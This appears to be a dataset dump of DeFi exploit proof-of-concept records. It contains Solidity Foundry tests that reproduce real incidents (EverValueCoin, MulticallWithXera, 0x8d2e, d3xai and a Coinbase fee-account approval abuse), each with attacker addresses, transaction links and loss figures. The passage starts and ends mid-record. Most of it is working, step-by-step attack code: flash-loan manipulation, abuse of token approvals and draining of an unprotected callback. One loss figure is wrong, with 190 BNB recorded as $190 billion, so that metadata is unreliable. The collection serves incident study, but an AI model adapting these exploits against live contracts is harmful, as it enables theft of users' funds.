\"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 100k USD\n// Attacker : https://arbiscan.io/address/0xaa06fde501a82ce1c0365273684247a736885daf\n// Attack Contract : https://arbiscan.io/address/0x2fad746cfaaf68aa098f704fb6537b0a05786df8\n// Vulnerable Contract : https://arbiscan.io/address/0x03339ecae41bc162dacae5c2a275c8f64d6c80a0\n// Attack Tx : https://arbiscan.io/tx/0xb13b2ab202cb902b8986cbd430d7227bf3ddca831b79786af145ccb5f00fcf3f\n\n// @Info\n// Vulnerable Contract Code : https://arbiscan.io/address/0x03339ecae41bc162dacae5c2a275c8f64d6c80a0#code\n\n// @Analysis\n// Post-mortem : https://x.com/SuplabsYi/status/1961906638438445268\n// Twitter Guy : https://x.com/SuplabsYi/status/1961906638438445268\n// Hacking God : N/A\ninterface Iorderbook {\n function addNewOrder(bytes32 _pairId, uint256 _quantity, uint256 _price, bool _isBuy, uint256 _timestamp)\n external;\n}\n\ninterface ISwapRouter {\n struct ExactInputSingleParams {\n address tokenIn;\n address tokenOut;\n uint24 fee;\n address recipient;\n uint256 deadline;\n uint256 amountIn;\n uint256 amountOutMinimum;\n uint160 sqrtPriceLimitX96;\n }\n\n function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut);\n}\n\ncontract EVA is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 373990723; //373990723\n\n IERC20 wbtc = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);\n IERC20 eva = IERC20(0x45D9831d8751B2325f3DBf48db748723726e1C8c);\n Iorderbook orderbook = Iorderbook(0x03339ECAE41bc162DAcAe5c2A275C8f64D6c80A0);\n IMorphoBuleFlashLoan constant morphoBlue = IMorphoBuleFlashLoan(0x6c247b1F6182318877311737BaC0844bAa518F5e);\n address constant UniV3_Router = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;\n ISwapRouter swapRouter = ISwapRouter(payable(0x1b81D678ffb9C0263b24A97847620C99d213eB14));\n\n function setUp() public {\n vm.createSelectFork(\"arbitrum\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = address(wbtc);\n }\n\n function testExploit() public balanceLog {\n //implement exploit code here\n \n morphoBlue.flashLoan(address(wbtc), 1200000000, \"\");\n }\n\n function onMorphoFlashLoan(uint256 fee, bytes calldata data) external {\n approve();\n bytes32 pairId = 0x3e0eda1b16003a6bbf05702d0b0474c698229478dc3cf66aa0f56dcb3d4df98f;\n uint256 quantity = 60000000000000000000000;\n uint256 price = 15000;\n bool isBuy = true;\n uint256 timestamp = block.timestamp;\n orderbook.addNewOrder(pairId, quantity, price, isBuy, timestamp);\n\n \n Uni_Router_V3(UniV3_Router).exactInputSingle(\n Uni_Router_V3.ExactInputSingleParams({\n tokenIn: address(eva),\n tokenOut: address(wbtc),\n fee: 10000,\n recipient: address(this),\n amountIn: 30000000000000000000000,\n amountOutMinimum: 0,\n deadline: block.timestamp + 100,\n sqrtPriceLimitX96: 0}));\n\n ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({\n tokenIn: address(eva),\n tokenOut: address(wbtc),\n fee: 10000,\n recipient: address(this),\n deadline: block.timestamp + 100,\n amountIn: 30000000000000000000000,\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n\n swapRouter.exactInputSingle(params);\n }\n \n function approve() public {\n wbtc.approve(address(morphoBlue), 1200000000);\n wbtc.approve(address(UniV3_Router), 1000000000000000000);\n wbtc.approve(address(orderbook), 1000000000000000000);\n eva.approve(address(UniV3_Router), 1000000000000000000000000000000);\n eva.approve(address(swapRouter), 18978678676000000000000000000);\n }\n}", "type": "exploit_poc", "protocol": "EverValueCoin", "date": "2025-08", "file_name": "EverValueCoin_exp.sol", "attack_vector": "flash_loan", "content_hash": "bd16709dce2bfffc", "collected_at": "2026-01-07T10:59:16.518869", "_source": "postmortems", "chain": "arbitrum", "block_number": null, "total_lost_raw": "100k USD", "total_lost_usd": 100000.0, "attacker_address": "https://arbiscan.io/address/0xaa06fde501a82ce1c0365273684247a736885daf", "attack_contract": "https://arbiscan.io/address/0x2fad746cfaaf68aa098f704fb6537b0a05786df8", "vulnerable_contract": "https://arbiscan.io/address/0x03339ecae41bc162dacae5c2a275c8f64d6c80a0", "attack_tx": "https://arbiscan.io/tx/0xb13b2ab202cb902b8986cbd430d7227bf3ddca831b79786af145ccb5f00fcf3f", "postmortem_url": "https://x.com/SuplabsYi/status/1961906638438445268", "twitter_url": "https://x.com/SuplabsYi/status/1961906638438445268", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "100k USD", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n //implement exploit code here\n \n morphoBlue.flashLoan(address(wbtc), 1200000000, \"\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "100k USD", "keyinfo_attacker": "https://arbiscan.io/address/0xaa06fde501a82ce1c0365273684247a736885daf", "keyinfo_attack_contract": "https://arbiscan.io/address/0x2fad746cfaaf68aa098f704fb6537b0a05786df8", "keyinfo_vulnerable_contract": "https://arbiscan.io/address/0x03339ecae41bc162dacae5c2a275c8f64d6c80a0", "keyinfo_attack_tx": "https://arbiscan.io/tx/0xb13b2ab202cb902b8986cbd430d7227bf3ddca831b79786af145ccb5f00fcf3f", "analysis_postmortem": "https://x.com/SuplabsYi/status/1961906638438445268", "analysis_twitter": "https://x.com/SuplabsYi/status/1961906638438445268", "funds_lost_formatted": "$100.0K", "content_richness_score": 9.06, "quality_estimate": "high", "title": "EverValueCoin Exploit (2025-08)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 17k USD\n// Attacker : https://bscscan.com/address/0x00b700b9da0053009cb84400ed1e8fe251002af3\n// Attack Contract : https://bscscan.com/address/0x90be00229fe8000000009e007743a485d400c3b7\n// Vulnerable Contract : https://bscscan.com/address/0x90be00229fe8000000009e007743a485d400c3b7\n// Attack Tx : https://bscscan.com/tx/0xed6fd61c1eb2858a1594616ddebaa414ad3b732dcdb26ac7833b46803c5c18db\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x90be00229fe8000000009e007743a485d400c3b7#code\n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1958354933247590450\n// Twitter Guy : https://x.com/TenArmorAlert/status/1958354933247590450\n// Hacking God : N/A\n\n\ncontract Multicall is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 58269338 - 1;\n\n address constant multicall = 0xcA11bde05977b3631167028862bE2a173976CA11;\n address constant cakeLP = 0x231075E4AA60d28681a2d6D4989F8F739BAC15a0;\n address constant xera = 0x93E99aE6692b07A36E7693f4ae684c266633b67d;\n address constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\n address constant victim = 0x9a619Ae8995A220E8f3A1Df7478A5c8d2afFc542;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n // Set the funding token to native BNB (address(0)) for balance logging.\n fundingToken = address(0);\n }\n\n function testExploit() public balanceLog {\n // The core of the exploit is to abuse the token approval granted by the victim to\n // the Multicall contract. \n\n // 1. Craft the malicious calldata.\n // The parameters are:\n // - from: the `victim` contract's address.\n // - to: the `cakeLP` (PancakeSwap LP) address.\n // - amount: a large amount of Xera tokens to be transferred.\n bytes memory data = abi.encodeCall(\n IERC20.transferFrom,\n (\n victim,\n cakeLP,\n 27900000000000000000000000\n )\n );\n\n // 2. Prepare the call for the Multicall contract.\n // - target: the `xera` token contract. The `transferFrom` will be executed on this contract.\n // - allowFailure: false, meaning the transaction will revert if this call fails.\n // - callData: the malicious calldata crafted in the previous step.\n IMulticall.Call3 memory call = IMulticall.Call3({\n target: address(xera),\n allowFailure: false,\n callData: data\n });\n\n // 3. Execute the malicious call via Multicall's `aggregate3`.\n // The `aggregate3` function of the Multicall contract executes the provided calls.\n // Due to the vulnerability, when the `xera` contract receives this call, it will\n // incorrectly identify the `victim` contract as the `msg.sender` because of how `_msgSender()` is implemented.\n // This allows the `transferFrom` to succeed as if the victim had initiated it,\n // since the victim had previously approved the multicall contract to spend its Xera tokens.\n IMulticall.Call3[] memory calls = new IMulticall.Call3[](1);\n calls[0] = call;\n IMulticall(multicall).aggregate3(calls);\n\n\n // 4. Swap the stolen tokens for WBNB.\n // The attacker now controls the stolen Xera tokens within the PancakeSwap LP contract.\n // They call the `swap` function on the `cakeLP` pair to exchange the Xera tokens for WBNB.\n IPancakePair(cakeLP).swap(0, 41034748173552867045, address(this), \"\");\n\n // 5. Withdraw the WBNB to the attacker's address.\n // The final step is to unwrap the WBNB into native BNB, effectively cashing out the stolen funds.\n IERC20(wbnb).withdraw(41034748173552867045);\n\n }\n\n // A receive function to allow the contract to receive native BNB.\n receive() external payable{}\n}\n\n\ninterface IMulticall {\n function aggregate3(Call3[] calldata calls) external payable returns (Result[] memory returnData);\n\n\n struct Call3 {\n address target;\n bool allowFailure;\n bytes callData;\n }\n\n\n struct Result {\n bool success;\n bytes returnData;\n }\n}", "type": "exploit_poc", "protocol": "MulticallWithXera", "date": "2025-08", "file_name": "MulticallWithXera_exp.sol", "attack_vector": null, "content_hash": "b46153bc70d25a7d", "collected_at": "2026-01-07T10:59:16.518930", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "17k USD", "total_lost_usd": 17000.0, "attacker_address": "https://bscscan.com/address/0x00b700b9da0053009cb84400ed1e8fe251002af3", "attack_contract": "https://bscscan.com/address/0x90be00229fe8000000009e007743a485d400c3b7", "vulnerable_contract": "https://bscscan.com/address/0x90be00229fe8000000009e007743a485d400c3b7", "attack_tx": "https://bscscan.com/tx/0xed6fd61c1eb2858a1594616ddebaa414ad3b732dcdb26ac7833b46803c5c18db", "postmortem_url": "https://x.com/TenArmorAlert/status/1958354933247590450", "twitter_url": "https://x.com/TenArmorAlert/status/1958354933247590450", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "17k USD", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n // The core of the exploit is to abuse the token approval granted by the victim to\n // the Multicall contract. \n\n // 1. Craft the malicious calldata.\n // The parameters are:\n // - from: the `victim` contract's address.\n // - to: the `cakeLP` (PancakeSwap LP) address.\n // - amount: a large amount of Xera tokens to be transferred.\n bytes memory data = abi.encodeCall(\n IERC20.transferFrom,\n (\n victim,\n cakeLP,\n 27900000000000000000000000\n )\n );\n\n // 2. Prepare the call for the Multicall contract.\n // - target: the `xera` token contract. The `transferFrom` will be executed on this contract.\n // - allowFailure: false, meaning the transaction will revert if this call fails.\n // - callData: the malicious calldata crafted in the previous step.\n IMulticall.Call3 memory call = IMulticall.Call3({\n target: address(xera),\n allowFailure: false,\n callData: data\n });\n\n // 3. Execute the malicious call via Multicall's `aggregate3`.\n // The `aggregate3` function of the Multicall contract executes the provided calls.\n // Due to the vulnerability, when the `xera` contract receives this call, it will\n // incorrectly identify the `victim` contract as the `msg.sender` because of how `_msgSender()` is implemented.\n // This allows the `transferFrom` to succeed as if the victim had initiated it,\n // since the victim had previously approved the multicall contract to spend its Xera tokens.\n IMulticall.Call3[] memory calls = new IMulticall.Call3[](1);\n calls[0] = call;\n IMulticall(multicall).aggregate3(calls);\n\n\n // 4. Swap the stolen tokens for WBNB.\n // The attacker now controls the stolen Xera tokens within the PancakeSwap LP contract.\n // They call the `swap` function on the `cakeLP` pair to exchange the Xera tokens for WBNB.\n IPancakePair(cakeLP).swap(0, 41034748173552867045, address(this), \"\");\n\n // 5. Withdraw the WBNB to the attacker's address.\n // The final step is to unwrap the WBNB into native BNB, effectively cashing out the stolen funds.\n IERC20(wbnb).withdraw(41034748173552867045);\n\n }\n\n // A receive function to allow the contract to receive native BNB.\n receive() external payable{}\n}\n\n\ninterface IMulticall {", "has_exploit_code": true, "keyinfo_total_lost": "17k USD", "keyinfo_attacker": "https://bscscan.com/address/0x00b700b9da0053009cb84400ed1e8fe251002af3", "keyinfo_attack_contract": "https://bscscan.com/address/0x90be00229fe8000000009e007743a485d400c3b7", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x90be00229fe8000000009e007743a485d400c3b7", "keyinfo_attack_tx": "https://bscscan.com/tx/0xed6fd61c1eb2858a1594616ddebaa414ad3b732dcdb26ac7833b46803c5c18db", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1958354933247590450", "analysis_twitter": "https://x.com/TenArmorAlert/status/1958354933247590450", "funds_lost_formatted": "$17.0K", "content_richness_score": 8.15, "quality_estimate": "high", "title": "MulticallWithXera Exploit (2025-08)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 40k USDC\n// Attacker : https://basescan.org/address/0x4efd5f0749b1b91afdcd2ecf464210db733150e0\n// Attack Contract : https://basescan.org/address/0x2a59ac31c58327efcbf83cc5a52fae1b24a81440\n// Vulnerable Contract : https://basescan.org/address/0x8d2Ef0d39A438C3601112AE21701819E13c41288\n// Attack Tx : https://basescan.org/tx/0x6be0c4b5414883a933639c136971026977df4737b061f864a4a04e4bd7f07106\n\n// @Info\n// Vulnerable Contract Code : https://basescan.org/address/0x8d2Ef0d39A438C3601112AE21701819E13c41288#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/TenArmorAlert/status/1958354933247590450\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\naddress constant USDC_ADDR = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;\naddress constant VICTIM = 0x8d2Ef0d39A438C3601112AE21701819E13c41288;\n\ncontract Contract0x8d2e is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 34459414 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"base\", blocknumToForkFrom);\n fundingToken = USDC_ADDR;\n }\n\n function testExploit() public balanceLog {\n uint256 balance = IERC20(USDC_ADDR).balanceOf(VICTIM);\n bytes memory data= abi.encode(USDC_ADDR, address(this));\n // The victim contract (0x8d2e) lacks access control in its uniswapV3SwapCallback function.\n // As a result, it transfers all USDC to the address specified in the parameters.\n IVictim(VICTIM).uniswapV3SwapCallback(int256(balance), 0, data);\n }\n}\n\ninterface IVictim {\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external;\n}\n", "type": "exploit_poc", "protocol": "0x8d2e", "date": "2025-08", "file_name": "0x8d2e_exp.sol", "attack_vector": "access_control", "content_hash": "2316b4ba0d1be03a", "collected_at": "2026-01-07T10:59:16.518982", "_source": "postmortems", "chain": "base", "block_number": null, "total_lost_raw": "40k USDC", "total_lost_usd": 40000.0, "attacker_address": "https://basescan.org/address/0x4efd5f0749b1b91afdcd2ecf464210db733150e0", "attack_contract": "https://basescan.org/address/0x2a59ac31c58327efcbf83cc5a52fae1b24a81440", "vulnerable_contract": "https://basescan.org/address/0x8d2Ef0d39A438C3601112AE21701819E13c41288", "attack_tx": "https://basescan.org/tx/0x6be0c4b5414883a933639c136971026977df4737b061f864a4a04e4bd7f07106", "postmortem_url": null, "twitter_url": "https://x.com/TenArmorAlert/status/1958354933247590450", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "40k USDC", "category": "access-control", "exploit_code": "function testExploit() public balanceLog {\n uint256 balance = IERC20(USDC_ADDR).balanceOf(VICTIM);\n bytes memory data= abi.encode(USDC_ADDR, address(this));\n // The victim contract (0x8d2e) lacks access control in its uniswapV3SwapCallback function.\n // As a result, it transfers all USDC to the address specified in the parameters.\n IVictim(VICTIM).uniswapV3SwapCallback(int256(balance), 0, data);\n }\n}\n\ninterface IVictim {", "has_exploit_code": true, "keyinfo_total_lost": "40k USDC", "keyinfo_attacker": "https://basescan.org/address/0x4efd5f0749b1b91afdcd2ecf464210db733150e0", "keyinfo_attack_contract": "https://basescan.org/address/0x2a59ac31c58327efcbf83cc5a52fae1b24a81440", "keyinfo_vulnerable_contract": "https://basescan.org/address/0x8d2Ef0d39A438C3601112AE21701819E13c41288", "keyinfo_attack_tx": "https://basescan.org/tx/0x6be0c4b5414883a933639c136971026977df4737b061f864a4a04e4bd7f07106", "analysis_postmortem": "", "analysis_twitter": "https://x.com/TenArmorAlert/status/1958354933247590450", "funds_lost_formatted": "$40.0K", "content_richness_score": 7.88, "quality_estimate": "medium", "title": "0x8d2e Exploit (2025-08)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 190 BNB\n// Attacker : https://bscscan.com/address/0x4b63c0cf524f71847ea05b59f3077a224d922e8d\n// Attack Contract : https://bscscan.com/address/0x3b3e1edeb726b52d5de79cf8dd8b84995d9aa27c\n// Vulnerable Contract : N/A\n// Attack Tx : https://bscscan.com/tx/0x26bcefc152d8cd49f4bb13a9f8a6846be887d7075bc81fa07aa8c0019bd6591f\n\n// @Info\n// Vulnerable Contract Code : N/A\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/suplabsyi/status/1956695597546893598\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\naddress constant PANCAKE_V3_POOL = 0x92b7807bF19b7DDdf89b706143896d05228f3121;\naddress constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\naddress constant USDT_ADDR = 0x55d398326f99059fF775485246999027B3197955;\naddress constant PROXY = 0xb8ad82c4771DAa852DdF00b70Ba4bE57D22eDD99;\naddress constant D3XAT = 0x2Cc8B879E3663d8126fe15daDaaA6Ca8D964BbBE;\n\ncontract d3xai is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 57780985 - 1;\n\n uint256 numPancakeOperRound = 27;\n address[] public pancakeBuyers = new address[](numPancakeOperRound);\n address[] public pancakeSellers = new address[](numPancakeOperRound);\n\n uint256 numProxyOperRound = 2;\n address[] public proxyBuyers = new address[](numProxyOperRound);\n ProxySeller proxySeller;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = USDT_ADDR;\n\n ProxyBuyerHelper proxyBuyerHelper = new ProxyBuyerHelper();\n for (uint256 i = 0; i < proxyBuyers.length; i++) {\n ProxyBuyer buyer = new ProxyBuyer(address(proxyBuyerHelper));\n proxyBuyers[i] = address(buyer);\n }\n proxySeller = new ProxySeller();\n\n PancakeBuyerHelper pancakeBuyerHelper = new PancakeBuyerHelper();\n for (uint256 i = 0; i < pancakeBuyers.length; i++) {\n PancakeBuyer buyer = new PancakeBuyer(address(pancakeBuyerHelper));\n pancakeBuyers[i] = address(buyer);\n }\n for (uint256 i = 0; i < pancakeSellers.length; i++) {\n PancakeSeller seller = new PancakeSeller();\n pancakeSellers[i] = address(seller);\n }\n }\n\n function testExploit() public balanceLog {\n // Root cause: the proxy\u2019s exchange() lets us buy low / sell high\n // Attacker exploits it using a convoluted multi-step flow\n\n // Step 1: flash loan 20M USDT\n uint256 borrowAmount = 20_000_000 ether;\n IPancakeV3PoolActions(PANCAKE_V3_POOL).flash(address(this), borrowAmount, 0, \"\");\n }\n\n function pancakeV3FlashCallback(\n uint256 fee0,\n uint256 fee1,\n bytes calldata data\n ) public {\n IERC20 usdt = IERC20(USDT_ADDR);\n \n // Step 2: spends 24k USDT to buy D3XAT via the exchange()\n address[] memory USDT_D3XAT_PATH = new address[](2);\n USDT_D3XAT_PATH[0] = USDT_ADDR;\n USDT_D3XAT_PATH[1] = D3XAT;\n uint256 balStart = usdt.balanceOf(address(this));\n for (uint256 i = 0; i < proxyBuyers.length; i++) {\n ProxyBuyer buyer = ProxyBuyer(proxyBuyers[i]);\n uint256 amountOut = 9000 ether;\n (uint256[] memory amounts) = IPancakeRouter(payable(PANCAKE_ROUTER)).getAmountsIn(amountOut, USDT_D3XAT_PATH);\n uint256 amountIn = amounts[0];\n\n usdt.approve(address(buyer), amountIn);\n buyer.buy(PROXY, USDT_ADDR, D3XAT, address(proxySeller), amountIn);\n }\n\n // Step 3: spend ~6.18M USDT to buy D3XAT from Pancake Router\n for (uint256 i = 0; i < pancakeBuyers.length; i++) {\n PancakeBuyer buyer = PancakeBuyer(pancakeBuyers[i]);\n uint256 amountOut = 9900 ether;\n (uint256[] memory amounts) = IPancakeRouter(payable(PANCAKE_ROUTER)).getAmountsIn(amountOut, USDT_D3XAT_PATH);\n uint256 amountIn = amounts[0];\n usdt.approve(address(buyer), amountIn);\n buyer.buy(USDT_ADDR, D3XAT, pancakeSellers[i], amountIn);\n }\n\n // Step 4: sell D3XAT from Step 2 via the exchange(). Gain 22.5k USDT\n for (uint256 i = 0; i < 30; i++) {\n uint256 amount = 29740606898687781957;\n try proxySeller.sell(PROXY, D3XAT, USDT_ADDR, amount, address(this)) {\n } catch {\n break;\n }\n }\n\n // Step 5: sell D3XAT from Step 3 to Pancake Router. Gain ~6.11M USDT\n IERC20 d3xat = IERC20(D3XAT);\n for (uint256 i = 0; i < pancakeSellers.length; i++) {\n PancakeSeller seller = PancakeSeller(pancakeSellers[i]);\n if (d3xat.balanceOf(address(seller)) > 0) {\n seller.sell(USDT_ADDR, D3XAT, address(this));\n }\n }\n\n IERC20(USDT_ADDR).transfer(PANCAKE_V3_POOL, 20_000_000 ether + fee0);\n }\n}\n\ncontract PancakeBuyerHelper {\n // 0xacfca76f\n function buy(address token1, address token2, address receiver, uint256 amount) public {\n IERC20 usdt = IERC20(token1);\n IERC20 d3xat = IERC20(token2);\n usdt.transferFrom(msg.sender, address(this), amount);\n usdt.approve(PANCAKE_ROUTER, amount);\n\n address[] memory path = new address[](2);\n path[0] = token1;\n path[1] = token2;\n\n IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n uint256 bal = d3xat.balanceOf(address(this));\n d3xat.transfer(receiver, bal);\n }\n}\n\ncontract PancakeBuyer {\n address targetContract;\n constructor(address target) {\n targetContract = target;\n }\n // 0xacfca76f\n function buy(address token1, address token2, address receiver, uint256 amount) public {\n (bool success, bytes memory result) = targetContract.delegatecall(\n abi.encodeWithSignature(\"buy(address,address,address,uint256)\", token1, token2, receiver, amount)\n );\n }\n}\n\ncontract PancakeSeller {\n // 0x83b95948\n function sell(address tokenOut, address tokenIn, address receiver) public {\n IERC20 d3xat = IERC20(tokenIn);\n IERC20 usdt = IERC20(tokenOut);\n uint256 d3Bal = d3xat.balanceOf(address(this));\n d3xat.approve(PANCAKE_ROUTER, d3Bal);\n address[] memory path = new address[](2);\n path[0] = tokenIn;\n path[1] = tokenOut;\n IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(d3Bal, 0, path, address(this), block.timestamp);\n uint256 bal = usdt.balanceOf(address(this));\n usdt.transfer(receiver, bal);\n }\n}\n\ncontract ProxyBuyerHelper {\n // 0xe09618e9\n function buy(address proxy, address token1, address token2, address receiver, uint256 amount) public {\n IERC20 usdt = IERC20(token1);\n IERC20 d3xat = IERC20(token2);\n usdt.transferFrom(msg.sender, address(this), amount);\n usdt.approve(proxy, amount);\n\n address[] memory path = new address[](2);\n path[0] = token1;\n path[1] = token2;\n\n IProxy(proxy).exchange(token1, token2, amount);\n uint256 bal = d3xat.balanceOf(address(this));\n d3xat.transfer(receiver, bal);\n }\n}\n\ncontract ProxyBuyer {\n address targetContract;\n constructor(address target) {\n targetContract = target;\n }\n // 0xe09618e9\n function buy(address proxy, address token1, address token2, address receiver, uint256 amount) public {\n (bool success, bytes memory result) = targetContract.delegatecall(\n abi.encodeWithSignature(\"buy(address,address,address,address,uint256)\", proxy, token1, token2, receiver, amount)\n );\n }\n}\n\n\ncontract ProxySeller {\n // 0x82839fae\n function sell(address proxy, address fromToken, address toToken, uint256 amount, address receiver) public {\n IERC20 d3xat = IERC20(fromToken);\n IERC20 usdt = IERC20(toToken);\n uint256 d3Bal = d3xat.balanceOf(address(this));\n d3xat.approve(proxy, amount);\n IProxy(proxy).exchange(fromToken, toToken, amount);\n uint256 bal = usdt.balanceOf(address(this));\n usdt.transfer(receiver, bal);\n }\n}\n\n\ninterface IProxy {\n function exchange(address fromToken, address toToken, uint256 amount) external;\n}\n", "type": "exploit_poc", "protocol": "d3xai", "date": "2025-08", "file_name": "d3xai_exp.sol", "attack_vector": null, "content_hash": "0f0ee7de17a79d34", "collected_at": "2026-01-07T10:59:16.519071", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "190 BNB", "total_lost_usd": 190000000000.0, "attacker_address": "https://bscscan.com/address/0x4b63c0cf524f71847ea05b59f3077a224d922e8d", "attack_contract": "https://bscscan.com/address/0x3b3e1edeb726b52d5de79cf8dd8b84995d9aa27c", "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0x26bcefc152d8cd49f4bb13a9f8a6846be887d7075bc81fa07aa8c0019bd6591f", "postmortem_url": null, "twitter_url": "https://x.com/suplabsyi/status/1956695597546893598", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "190 BNB", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n // Root cause: the proxy\u2019s exchange() lets us buy low / sell high\n // Attacker exploits it using a convoluted multi-step flow\n\n // Step 1: flash loan 20M USDT\n uint256 borrowAmount = 20_000_000 ether;\n IPancakeV3PoolActions(PANCAKE_V3_POOL).flash(address(this), borrowAmount, 0, \"\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "190 BNB", "keyinfo_attacker": "https://bscscan.com/address/0x4b63c0cf524f71847ea05b59f3077a224d922e8d", "keyinfo_attack_contract": "https://bscscan.com/address/0x3b3e1edeb726b52d5de79cf8dd8b84995d9aa27c", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0x26bcefc152d8cd49f4bb13a9f8a6846be887d7075bc81fa07aa8c0019bd6591f", "analysis_postmortem": "", "analysis_twitter": "https://x.com/suplabsyi/status/1956695597546893598", "funds_lost_formatted": "$190000.00M", "content_richness_score": 8, "quality_estimate": "high", "title": "d3xai Exploit (2025-08)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 300k USD\n// Attacker : https://etherscan.io/address/0xC31a49D1c4C652aF57cEFDeF248f3c55b801c649\n// Attack Contract : https://etherscan.io/address/0xF0D539955974b248d763D60C3663eF272dfC6971\n// Vulnerable Contract : \n// Attack Tx : https://etherscan.io/tx/0x33b2cb5bc3c0ccb97f0cc21e231ecb6457df242710dfce8d1b68935f0e05773b\n\n// @Info\n// Vulnerable Contract Code : \n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/deeberiroz/status/1955718986894549344\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\n// 0x swapper\naddress constant MAINNET_SETTLER = 0xDf31A70a21A1931e02033dBBa7DEaCe6c45cfd0f;\naddress constant ANDY = 0x68BbEd6A47194EFf1CF514B50Ea91895597fc91E;\n// coinbase fee receiver account\naddress constant COINBASE_FEE = 0x382fFCe2287252F930E1C8DC9328dac5BF282bA1;\n\ncontract coinbase is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 23134257 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = ANDY;\n }\n\n function testExploit() public balanceLog {\n // Root cause: A Coinbase fee account accidentally approved multiple ERC-20 tokens to a 0x swapper.\n // The swapper lets anyone execute arbitrary calls.\n // For example:\n // https://etherscan.io/tx/0x8df54ebe76c09cda530f1fccb591166c716000ec95ee5cb37dff997b2ee269f2\n\n // About 2 hours later (Aug-13-2025 07 PM), the attacker noticed and began exploiting it.\n AttackContract attackContract = new AttackContract();\n vm.deal(address(this), 0.01 ether);\n uint256 fund = 0.00000000000000162 ether;\n attackContract.attack{value: fund}();\n }\n}\n\ncontract AttackContract is Test {\n function attack() public payable {\n AllowedSlippage memory slippage = AllowedSlippage({\n recipient: payable(address(0)),\n buyToken: IERC20(address(0)),\n minAmountOut: 0\n });\n bytes[] memory actions = new bytes[](1);\n uint256 amount = IERC20(ANDY).balanceOf(COINBASE_FEE);\n bytes memory action = buildData(0, 10000, ANDY, 0, COINBASE_FEE, msg.sender, amount);\n actions[0] = action;\n // bytes32 data = 0xa00dda5ed0267accdf4ac6940000000000000000000000000000000000000000;\n IMainnetSettler(MAINNET_SETTLER).execute(slippage, actions, \"\");\n }\n\n function buildData(\n uint256 arg0,\n uint256 arg1,\n address target,\n uint256 arg3,\n address from,\n address to,\n uint256 amount\n ) public pure returns (bytes memory) {\n // Encode the inner ERC20 transferFrom call\n bytes memory inner = abi.encodeWithSelector(\n bytes4(keccak256(\"transferFrom(address,address,uint256)\")),\n from,\n to,\n amount\n );\n\n // Encode the outer function call\n bytes memory data = 